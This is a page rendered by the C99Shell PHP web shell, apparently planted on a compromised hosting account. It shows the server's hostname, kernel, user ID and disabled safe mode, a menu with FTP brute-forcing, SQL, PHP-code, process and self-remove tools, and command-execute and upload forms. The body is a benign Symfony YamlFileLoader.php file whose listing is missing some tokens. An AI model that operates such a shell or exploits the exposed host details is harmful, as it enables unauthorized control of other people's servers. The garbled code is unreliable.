!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/DependencyInjection/Loader/   drwxr-xr-x
Free 294.19 GB of 429.69 GB (68.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     YamlFileLoader.php (10.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DependencyInjection\Loader;

use 
Symfony\Component\DependencyInjection\DefinitionDecorator;
use 
Symfony\Component\DependencyInjection\Alias;
use 
Symfony\Component\DependencyInjection\ContainerInterface;
use 
Symfony\Component\DependencyInjection\Definition;
use 
Symfony\Component\DependencyInjection\Reference;
use 
Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use 
Symfony\Component\Config\Resource\FileResource;
use 
Symfony\Component\Yaml\Parser as YamlParser;
use 
Symfony\Component\ExpressionLanguage\Expression;

/**
 * YamlFileLoader loads YAML files service definitions.
 *
 * The YAML format does not support anonymous services (cf. the XML loader).
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class YamlFileLoader extends FileLoader
{
    private 
$yamlParser;

    
/**
     * Loads a Yaml file.
     *
     * @param mixed  $file The resource
     * @param string $type The resource type
     */
    
public function load($file$type null)
    {
        
$path $this->locator->locate($file);

        
$content $this->loadFile($path);

        
$this->container->addResource(new FileResource($path));

        
// empty file
        
if (null === $content) {
            return;
        }

        
// imports
        
$this->parseImports($content$path);

        
// parameters
        
if (isset($content['parameters'])) {
            foreach (
$content['parameters'] as $key => $value) {
                
$this->container->setParameter($key$this->resolveServices($value));
            }
        }

        
// extensions
        
$this->loadFromExtensions($content);

        
// services
        
$this->parseDefinitions($content$file);
    }

    
/**
     * Returns true if this class supports the given resource.
     *
     * @param mixed  $resource A resource
     * @param string $type     The resource type
     *
     * @return Boolean true if this class supports the given resource, false otherwise
     */
    
public function supports($resource$type null)
    {
        return 
is_string($resource) && 'yml' === pathinfo($resourcePATHINFO_EXTENSION);
    }

    
/**
     * Parses all imports
     *
     * @param array  $content
     * @param string $file
     */
    
private function parseImports($content$file)
    {
        if (!isset(
$content['imports'])) {
            return;
        }

        foreach (
$content['imports'] as $import) {
            
$this->setCurrentDir(dirname($file));
            
$this->import($import['resource'], null, isset($import['ignore_errors']) ? (Boolean) $import['ignore_errors'] : false$file);
        }
    }

    
/**
     * Parses definitions
     *
     * @param array  $content
     * @param string $file
     */
    
private function parseDefinitions($content$file)
    {
        if (!isset(
$content['services'])) {
            return;
        }

        foreach (
$content['services'] as $id => $service) {
            
$this->parseDefinition($id$service$file);
        }
    }

    
/**
     * Parses a definition.
     *
     * @param string $id
     * @param array  $service
     * @param string $file
     *
     * @throws InvalidArgumentException When tags are invalid
     */
    
private function parseDefinition($id$service$file)
    {
        if (
is_string($service) && === strpos($service'@')) {
            
$this->container->setAlias($idsubstr($service1));

            return;
        } elseif (isset(
$service['alias'])) {
            
$public = !array_key_exists('public'$service) || (Boolean) $service['public'];
            
$this->container->setAlias($id, new Alias($service['alias'], $public));

            return;
        }

        if (isset(
$service['parent'])) {
            
$definition = new DefinitionDecorator($service['parent']);
        } else {
            
$definition = new Definition();
        }

        if (isset(
$service['class'])) {
            
$definition->setClass($service['class']);
        }

        if (isset(
$service['scope'])) {
            
$definition->setScope($service['scope']);
        }

        if (isset(
$service['synthetic'])) {
            
$definition->setSynthetic($service['synthetic']);
        }

        if (isset(
$service['synchronized'])) {
            
$definition->setSynchronized($service['synchronized']);
        }

        if (isset(
$service['lazy'])) {
            
$definition->setLazy($service['lazy']);
        }

        if (isset(
$service['public'])) {
            
$definition->setPublic($service['public']);
        }

        if (isset(
$service['abstract'])) {
            
$definition->setAbstract($service['abstract']);
        }

        if (isset(
$service['factory_class'])) {
            
$definition->setFactoryClass($service['factory_class']);
        }

        if (isset(
$service['factory_method'])) {
            
$definition->setFactoryMethod($service['factory_method']);
        }

        if (isset(
$service['factory_service'])) {
            
$definition->setFactoryService($service['factory_service']);
        }

        if (isset(
$service['file'])) {
            
$definition->setFile($service['file']);
        }

        if (isset(
$service['arguments'])) {
            
$definition->setArguments($this->resolveServices($service['arguments']));
        }

        if (isset(
$service['properties'])) {
            
$definition->setProperties($this->resolveServices($service['properties']));
        }

        if (isset(
$service['configurator'])) {
            if (
is_string($service['configurator'])) {
                
$definition->setConfigurator($service['configurator']);
            } else {
                
$definition->setConfigurator(array($this->resolveServices($service['configurator'][0]), $service['configurator'][1]));
            }
        }

        if (isset(
$service['calls'])) {
            foreach (
$service['calls'] as $call) {
                
$args = isset($call[1]) ? $this->resolveServices($call[1]) : array();
                
$definition->addMethodCall($call[0], $args);
            }
        }

        if (isset(
$service['tags'])) {
            if (!
is_array($service['tags'])) {
                throw new 
InvalidArgumentException(sprintf('Parameter "tags" must be an array for service "%s" in %s.'$id$file));
            }

            foreach (
$service['tags'] as $tag) {
                if (!isset(
$tag['name'])) {
                    throw new 
InvalidArgumentException(sprintf('A "tags" entry is missing a "name" key for service "%s" in %s.'$id$file));
                }

                
$name $tag['name'];
                unset(
$tag['name']);

                foreach (
$tag as $attribute => $value) {
                    if (!
is_scalar($value) && null !== $value) {
                        throw new 
InvalidArgumentException(sprintf('A "tags" attribute must be of a scalar-type for service "%s", tag "%s", attribute "%s" in %s.'$id$name$attribute$file));
                    }
                }

                
$definition->addTag($name$tag);
            }
        }

        
$this->container->setDefinition($id$definition);
    }

    
/**
     * Loads a YAML file.
     *
     * @param string $file
     *
     * @return array The file content
     */
    
protected function loadFile($file)
    {
        if (!
stream_is_local($file)) {
            throw new 
InvalidArgumentException(sprintf('This is not a local file "%s".'$file));
        }

        if (!
file_exists($file)) {
            throw new 
InvalidArgumentException(sprintf('The service file "%s" is not valid.'$file));
        }

        if (
null === $this->yamlParser) {
            
$this->yamlParser = new YamlParser();
        }

        return 
$this->validate($this->yamlParser->parse(file_get_contents($file)), $file);
    }

    
/**
     * Validates a YAML file.
     *
     * @param mixed  $content
     * @param string $file
     *
     * @return array
     *
     * @throws InvalidArgumentException When service file is not valid
     */
    
private function validate($content$file)
    {
        if (
null === $content) {
            return 
$content;
        }

        if (!
is_array($content)) {
            throw new 
InvalidArgumentException(sprintf('The service file "%s" is not valid.'$file));
        }

        foreach (
array_keys($content) as $namespace) {
            if (
in_array($namespace, array('imports''parameters''services'))) {
                continue;
            }

            if (!
$this->container->hasExtension($namespace)) {
                
$extensionNamespaces array_filter(array_map(function ($ext) { return $ext->getAlias(); }, $this->container->getExtensions()));
                throw new 
InvalidArgumentException(sprintf(
                    
'There is no extension able to load the configuration for "%s" (in %s). Looked for namespace "%s", found %s',
                    
$namespace,
                    
$file,
                    
$namespace,
                    
$extensionNamespaces sprintf('"%s"'implode('", "'$extensionNamespaces)) : 'none'
                
));
            }
        }

        return 
$content;
    }

    
/**
     * Resolves services.
     *
     * @param string $value
     *
     * @return Reference
     */
    
private function resolveServices($value)
    {
        if (
is_array($value)) {
            
$value array_map(array($this'resolveServices'), $value);
        } elseif (
is_string($value) &&  === strpos($value'@=')) {
            return new 
Expression(substr($value2));
        } elseif (
is_string($value) &&  === strpos($value'@')) {
            if (
=== strpos($value'@@')) {
                
$value substr($value1);
                
$invalidBehavior null;
            } elseif (
=== strpos($value'@?')) {
                
$value substr($value2);
                
$invalidBehavior ContainerInterface::IGNORE_ON_INVALID_REFERENCE;
            } else {
                
$value substr($value1);
                
$invalidBehavior ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE;
            }

            if (
'=' === substr($value, -1)) {
                
$value substr($value0, -1);
                
$strict false;
            } else {
                
$strict true;
            }

            if (
null !== $invalidBehavior) {
                
$value = new Reference($value$invalidBehavior$strict);
            }
        }

        return 
$value;
    }

    
/**
     * Loads from Extensions
     *
     * @param array $content
     */
    
private function loadFromExtensions($content)
    {
        foreach (
$content as $namespace => $values) {
            if (
in_array($namespace, array('imports''parameters''services'))) {
                continue;
            }

            if (!
is_array($values)) {
                
$values = array();
            }

            
$this->container->loadFromExtension($namespace$values);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0911 ]--